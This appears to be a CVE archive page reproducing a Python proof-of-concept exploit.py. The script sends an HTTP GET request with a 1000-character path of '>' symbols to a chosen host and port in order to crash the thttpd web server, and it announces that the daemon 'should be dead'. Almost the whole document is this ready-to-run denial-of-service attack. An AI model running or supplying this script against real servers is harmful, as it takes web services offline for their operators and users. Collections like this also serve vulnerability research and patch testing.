4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.py PY
#!/usr/bin/env python3

import socket
import sys

if len(sys.argv) != 3:
    print("usage: {} <host> <port>".format(sys.argv[0]))
    sys.exit()

host = sys.argv[1]
port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((host, port))
except socket.error as e:
    print("couldn't connect to server: {}".format(e))
    sys.exit()

buffer1 = '>' * 1000
buffer = "GET /{} HTTP/1.0\r\n\r\n\r\n".format(buffer1).encode()

print("\n(Drink Tongkat-Ali For Better Performance ;P~ !)\n\n")
print("Buffer is: {}\n\n".format(buffer1))
print("Buffer filled... now sending buffer")

s.send(buffer)

print("Buffer sent.\nNow thttpd daemon should be dead !!!\n\n")
s.close()